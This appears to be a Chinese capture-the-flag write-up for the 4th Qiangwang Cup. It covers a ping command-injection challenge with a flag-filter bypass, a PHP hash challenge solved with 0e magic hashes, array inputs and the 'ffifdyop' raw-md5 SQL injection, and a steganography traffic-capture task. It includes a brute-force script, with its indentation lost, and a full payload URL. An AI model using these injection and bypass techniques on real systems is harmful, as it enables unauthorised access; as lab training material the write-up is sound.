第四届“强网杯”全国网络安全挑战赛部分WP

主动

题目如下:

 
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
     
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

先用一个ls命令尝试一下回显
第四届“强网杯”全国网络安全挑战赛部分WP_第1张图片
只要读出flag.php即可得到flag
而题目的代码有正则过滤flag
这里用到模糊查询即可得到flag
第四届“强网杯”全国网络安全挑战赛部分WP_第2张图片

Funhash

题目代码如下


include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
     
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
     
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

?>

这个题分三关,全部满足条件后即可得到flag
第一关要使md4加密前后的值相等
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
第一关的爆破脚本如下:

#!/usr/bin/env python
import hashlib
import Crypto.Hash.MD4
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = (prefix + str(iters)).encode('utf-8')
hashed_s = hashlib.new('md4', s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
print ("[+] in {} iterations".format(iters))
exit(0)
if iters % 1000000 == 0:
print ("[+] current value: {} {} iterations, continue...".format(s, iters))
breakit()

md4( 0e251288019 ) —> 0e874956163641961271069404332409
使用这个值即可
关卡二利用数组绕过MD5
hash2[]=1&hash3=2
关卡三之前在实验吧看过
md5($_GET[“hash4”],true)经过该函数加密过后是一个原始16字符二进制格式,二当hash4=ffifdyop这个字符串时,经过函数处理刚好形成这条语句

$query = "SELECT * FROM flag WHERE password = 'or'6ɝ⬹�";

整条语句构造为真查出了flag
最后完整的payload为
http://39.101.177.96/?hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop
第四届“强网杯”全国网络安全挑战赛部分WP_第3张图片

upload

下载附件,发现时段流量,按照题目的名称先过滤出http流量
第四届“强网杯”全国网络安全挑战赛部分WP_第4张图片
发现这边给了个提示,i use steghide with a good password
steghide是一个可以向图片加入文本信息的工具,加信息的时候可以加密码
这里说是一个good password,猜测是123456弱密码
继续分析流量
在这里插入图片描述
将他导出
第四届“强网杯”全国网络安全挑战赛部分WP_第5张图片
用binwalk或者foremost分离出图片
第四届“强网杯”全国网络安全挑战赛部分WP_第6张图片
第四届“强网杯”全国网络安全挑战赛部分WP_第7张图片
得到图片用steghide分离出flag
第四届“强网杯”全国网络安全挑战赛部分WP_第8张图片
发现里面有一个flag.txt的文件
在这里插入图片描述
第四届“强网杯”全国网络安全挑战赛部分WP_第9张图片
flag{te11_me_y0u_like_it}

你可能感兴趣的:(CTF,信息安全)